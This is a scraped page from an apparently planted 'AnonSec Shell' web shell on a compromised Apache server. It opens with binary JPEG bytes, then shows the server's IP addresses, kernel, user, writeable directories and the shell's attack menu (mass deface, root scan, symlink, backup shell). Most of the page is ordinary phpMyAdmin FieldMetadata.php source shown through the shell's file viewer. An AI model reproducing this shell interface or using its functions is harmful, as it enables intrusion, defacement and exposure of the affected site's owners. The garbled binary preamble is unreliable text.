JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.42.57   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_condiviso/phpmyadmin/libraries/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_condiviso/phpmyadmin/libraries/classes//FieldMetadata.php
<?php

declare(strict_types=1);

namespace PhpMyAdmin;

use function define;
use function defined;
use function property_exists;

use const MYSQLI_BLOB_FLAG;
use const MYSQLI_ENUM_FLAG;
use const MYSQLI_MULTIPLE_KEY_FLAG;
use const MYSQLI_NOT_NULL_FLAG;
use const MYSQLI_PRI_KEY_FLAG;
use const MYSQLI_SET_FLAG;
use const MYSQLI_TYPE_BIT;
use const MYSQLI_TYPE_BLOB;
use const MYSQLI_TYPE_DATE;
use const MYSQLI_TYPE_DATETIME;
use const MYSQLI_TYPE_DECIMAL;
use const MYSQLI_TYPE_DOUBLE;
use const MYSQLI_TYPE_ENUM;
use const MYSQLI_TYPE_FLOAT;
use const MYSQLI_TYPE_GEOMETRY;
use const MYSQLI_TYPE_INT24;
use const MYSQLI_TYPE_JSON;
use const MYSQLI_TYPE_LONG;
use const MYSQLI_TYPE_LONG_BLOB;
use const MYSQLI_TYPE_LONGLONG;
use const MYSQLI_TYPE_MEDIUM_BLOB;
use const MYSQLI_TYPE_NEWDATE;
use const MYSQLI_TYPE_NEWDECIMAL;
use const MYSQLI_TYPE_NULL;
use const MYSQLI_TYPE_SET;
use const MYSQLI_TYPE_SHORT;
use const MYSQLI_TYPE_STRING;
use const MYSQLI_TYPE_TIME;
use const MYSQLI_TYPE_TIMESTAMP;
use const MYSQLI_TYPE_TINY;
use const MYSQLI_TYPE_TINY_BLOB;
use const MYSQLI_TYPE_VAR_STRING;
use const MYSQLI_TYPE_YEAR;
use const MYSQLI_UNIQUE_KEY_FLAG;
use const MYSQLI_UNSIGNED_FLAG;
use const MYSQLI_ZEROFILL_FLAG;

/**
 * Handles fields Metadata
 *
 * NOTE: Getters are not used in all implementations due to the important cost of getters calls
 */
final class FieldMetadata
{
    public const TYPE_GEOMETRY = 1;
    public const TYPE_BIT = 2;
    public const TYPE_JSON = 3;
    public const TYPE_REAL = 4;
    public const TYPE_INT = 5;
    public const TYPE_BLOB = 6;
    public const TYPE_UNKNOWN = -1;
    public const TYPE_NULL = 7;
    public const TYPE_STRING = 8;
    public const TYPE_DATE = 9;
    public const TYPE_TIME = 10;
    public const TYPE_TIMESTAMP = 11;
    public const TYPE_DATETIME = 12;
    public const TYPE_YEAR = 13;

    /**
     * @var bool
     * @readonly
     */
    public $isMultipleKey;


    /**
     * @var bool
     * @readonly
     */
    public $isPrimaryKey;


    /**
     * @var bool
     * @readonly
     */
    public $isUniqueKey;


    /**
     * @var bool
     * @readonly
     */
    public $isNotNull;


    /**
     * @var bool
     * @readonly
     */
    public $isUnsigned;


    /**
     * @var bool
     * @readonly
     */
    public $isZerofill;


    /**
     * @var bool
     * @readonly
     */
    public $isNumeric;


    /**
     * @var bool
     * @readonly
     */
    public $isBlob;


    /**
     * @var bool
     * @readonly
     */
    public $isBinary;


    /**
     * @var bool
     * @readonly
     */
    public $isEnum;


    /**
     * @var bool
     * @readonly
     */
    public $isSet;

    /** @var int|null */
    private $mappedType;


    /**
     * @var bool
     * @readonly
     */
    public $isMappedTypeBit;

    /**
     * @var bool
     * @readonly
     */
    public $isMappedTypeGeometry;

    /**
     * @var bool
     * @readonly
     */
    public $isMappedTypeTimestamp;

    /**
     * The column name
     *
     * @var string
     */
    public $name;

    /**
     * The original column name if an alias did exist
     *
     * @var string
     */
    public $orgname;

    /**
     * The table name
     *
     * @var string
     */
    public $table;

    /**
     * The original table name
     *
     * @var string
     */
    public $orgtable;

    /**
     * The charset number
     *
     * @readonly
     * @var int
     */
    public $charsetnr;

    /**
     * The number of decimals used (for integer fields)
     *
     * @readonly
     * @var int
     */
    public $decimals;

    /**
     * The width of the field, as specified in the table definition.
     *
     * @readonly
     * @var int
     */
    public $length;

    /**
     * A field only used by the Results class
     *
     * @var string
     */
    public $internalMediaType;

    public function __construct(int $fieldType, int $fieldFlags, object $field)
    {
        $this->mappedType = $this->getTypeMap()[$fieldType] ?? null;

        $this->isMultipleKey = (bool) ($fieldFlags & MYSQLI_MULTIPLE_KEY_FLAG);
        $this->isPrimaryKey = (bool) ($fieldFlags & MYSQLI_PRI_KEY_FLAG);
        $this->isUniqueKey = (bool) ($fieldFlags & MYSQLI_UNIQUE_KEY_FLAG);
        $this->isNotNull = (bool) ($fieldFlags & MYSQLI_NOT_NULL_FLAG);
        $this->isUnsigned = (bool) ($fieldFlags & MYSQLI_UNSIGNED_FLAG);
        $this->isZerofill = (bool) ($fieldFlags & MYSQLI_ZEROFILL_FLAG);
        $this->isBlob = (bool) ($fieldFlags & MYSQLI_BLOB_FLAG);
        $this->isEnum = (bool) ($fieldFlags & MYSQLI_ENUM_FLAG);
        $this->isSet = (bool) ($fieldFlags & MYSQLI_SET_FLAG);

        // as flags 32768 can be NUM_FLAG or GROUP_FLAG
        // reference: https://www.php.net/manual/en/mysqli-result.fetch-fields.php
        // so check field type instead of flags
        $this->isNumeric = $this->isType(self::TYPE_INT) || $this->isType(self::TYPE_REAL);

        /*
            MYSQLI_PART_KEY_FLAG => 'part_key',
            MYSQLI_TIMESTAMP_FLAG => 'timestamp',
            MYSQLI_AUTO_INCREMENT_FLAG => 'auto_increment',
        */

        $this->isMappedTypeBit = $this->isType(self::TYPE_BIT);
        $this->isMappedTypeGeometry = $this->isType(self::TYPE_GEOMETRY);
        $this->isMappedTypeTimestamp = $this->isType(self::TYPE_TIMESTAMP);

        $this->name = property_exists($field, 'name') ? $field->name : '';
        $this->orgname = property_exists($field, 'orgname') ? $field->orgname : '';
        $this->table = property_exists($field, 'table') ? $field->table : '';
        $this->orgtable = property_exists($field, 'orgtable') ? $field->orgtable : '';
        $this->charsetnr = property_exists($field, 'charsetnr') ? $field->charsetnr : -1;
        $this->decimals = property_exists($field, 'decimals') ? $field->decimals : 0;
        $this->length = property_exists($field, 'length') ? $field->length : 0;

        // 63 is the number for the MySQL charset "binary"
        $this->isBinary = (
            $fieldType === MYSQLI_TYPE_TINY_BLOB || $fieldType === MYSQLI_TYPE_BLOB
            || $fieldType === MYSQLI_TYPE_MEDIUM_BLOB || $fieldType === MYSQLI_TYPE_LONG_BLOB
            || $fieldType === MYSQLI_TYPE_VAR_STRING || $fieldType === MYSQLI_TYPE_STRING
        ) && $this->charsetnr == 63;
    }

    /**
     * @see https://dev.mysql.com/doc/connectors/en/apis-php-mysqli.constants.html
     */
    private function getTypeMap(): array
    {
        // Issue #16043 - client API mysqlnd seem not to have MYSQLI_TYPE_JSON defined
        if (! defined('MYSQLI_TYPE_JSON')) {
            define('MYSQLI_TYPE_JSON', 245);
        }

        // Build an associative array for a type look up
        $typeAr = [];
        $typeAr[MYSQLI_TYPE_DECIMAL] = self::TYPE_REAL;
        $typeAr[MYSQLI_TYPE_NEWDECIMAL] = self::TYPE_REAL;
        $typeAr[MYSQLI_TYPE_BIT] = self::TYPE_INT;
        $typeAr[MYSQLI_TYPE_TINY] = self::TYPE_INT;
        $typeAr[MYSQLI_TYPE_SHORT] = self::TYPE_INT;
        $typeAr[MYSQLI_TYPE_LONG] = self::TYPE_INT;
        $typeAr[MYSQLI_TYPE_FLOAT] = self::TYPE_REAL;
        $typeAr[MYSQLI_TYPE_DOUBLE] = self::TYPE_REAL;
        $typeAr[MYSQLI_TYPE_NULL] = self::TYPE_NULL;
        $typeAr[MYSQLI_TYPE_TIMESTAMP] = self::TYPE_TIMESTAMP;
        $typeAr[MYSQLI_TYPE_LONGLONG] = self::TYPE_INT;
        $typeAr[MYSQLI_TYPE_INT24] = self::TYPE_INT;
        $typeAr[MYSQLI_TYPE_DATE] = self::TYPE_DATE;
        $typeAr[MYSQLI_TYPE_TIME] = self::TYPE_TIME;
        $typeAr[MYSQLI_TYPE_DATETIME] = self::TYPE_DATETIME;
        $typeAr[MYSQLI_TYPE_YEAR] = self::TYPE_YEAR;
        $typeAr[MYSQLI_TYPE_NEWDATE] = self::TYPE_DATE;
        $typeAr[MYSQLI_TYPE_ENUM] = self::TYPE_UNKNOWN;
        $typeAr[MYSQLI_TYPE_SET] = self::TYPE_UNKNOWN;
        $typeAr[MYSQLI_TYPE_TINY_BLOB] = self::TYPE_BLOB;
        $typeAr[MYSQLI_TYPE_MEDIUM_BLOB] = self::TYPE_BLOB;
        $typeAr[MYSQLI_TYPE_LONG_BLOB] = self::TYPE_BLOB;
        $typeAr[MYSQLI_TYPE_BLOB] = self::TYPE_BLOB;
        $typeAr[MYSQLI_TYPE_VAR_STRING] = self::TYPE_STRING;
        $typeAr[MYSQLI_TYPE_STRING] = self::TYPE_STRING;
        // MySQL returns MYSQLI_TYPE_STRING for CHAR
        // and MYSQLI_TYPE_CHAR === MYSQLI_TYPE_TINY
        // so this would override TINYINT and mark all TINYINT as string
        // see https://github.com/phpmyadmin/phpmyadmin/issues/8569
        //$typeAr[MYSQLI_TYPE_CHAR]        = self::TYPE_STRING;
        $typeAr[MYSQLI_TYPE_GEOMETRY] = self::TYPE_GEOMETRY;
        $typeAr[MYSQLI_TYPE_BIT] = self::TYPE_BIT;
        $typeAr[MYSQLI_TYPE_JSON] = self::TYPE_JSON;

        return $typeAr;
    }

    public function isNotNull(): bool
    {
        return $this->isNotNull;
    }

    public function isNumeric(): bool
    {
        return $this->isNumeric;
    }

    public function isBinary(): bool
    {
        return $this->isBinary;
    }

    public function isBlob(): bool
    {
        return $this->isBlob;
    }

    public function isPrimaryKey(): bool
    {
        return $this->isPrimaryKey;
    }

    public function isUniqueKey(): bool
    {
        return $this->isUniqueKey;
    }

    public function isMultipleKey(): bool
    {
        return $this->isMultipleKey;
    }

    public function isUnsigned(): bool
    {
        return $this->isUnsigned;
    }

    public function isZerofill(): bool
    {
        return $this->isZerofill;
    }

    public function isEnum(): bool
    {
        return $this->isEnum;
    }

    public function isSet(): bool
    {
        return $this->isSet;
    }

    /**
     * Checks that it is type DATE/TIME/DATETIME
     */
    public function isDateTimeType(): bool
    {
        return $this->isType(self::TYPE_DATE)
            || $this->isType(self::TYPE_TIME)
            || $this->isType(self::TYPE_DATETIME)
            || $this->isType(self::TYPE_TIMESTAMP);
    }

    /**
     * Checks that it contains time
     * A "DATE" field returns false for example
     */
    public function isTimeType(): bool
    {
        return $this->isType(self::TYPE_TIME)
            || $this->isType(self::TYPE_TIMESTAMP)
            || $this->isType(self::TYPE_DATETIME);
    }

    /**
     * Get the mapped type as a string
     *
     * @return string Empty when nothing could be matched
     */
    public function getMappedType(): string
    {
        $types = [
            self::TYPE_GEOMETRY => 'geometry',
            self::TYPE_BIT => 'bit',
            self::TYPE_JSON => 'json',
            self::TYPE_REAL => 'real',
            self::TYPE_INT => 'int',
            self::TYPE_BLOB => 'blob',
            self::TYPE_UNKNOWN => 'unknown',
            self::TYPE_NULL => 'null',
            self::TYPE_STRING => 'string',
            self::TYPE_DATE => 'date',
            self::TYPE_TIME => 'time',
            self::TYPE_TIMESTAMP => 'timestamp',
            self::TYPE_DATETIME => 'datetime',
            self::TYPE_YEAR => 'year',
        ];

        return $types[$this->mappedType] ?? '';
    }

    /**
     * Check if it is the mapped type
     *
     * @phpstan-param self::TYPE_* $type
     */
    public function isType(int $type): bool
    {
        return $this->mappedType === $type;
    }

    /**
     * Check if it is NOT the mapped type
     *
     * @phpstan-param self::TYPE_* $type
     */
    public function isNotType(int $type): bool
    {
        return $this->mappedType !== $type;
    }
}

Anon7 - 2022
AnonSec Team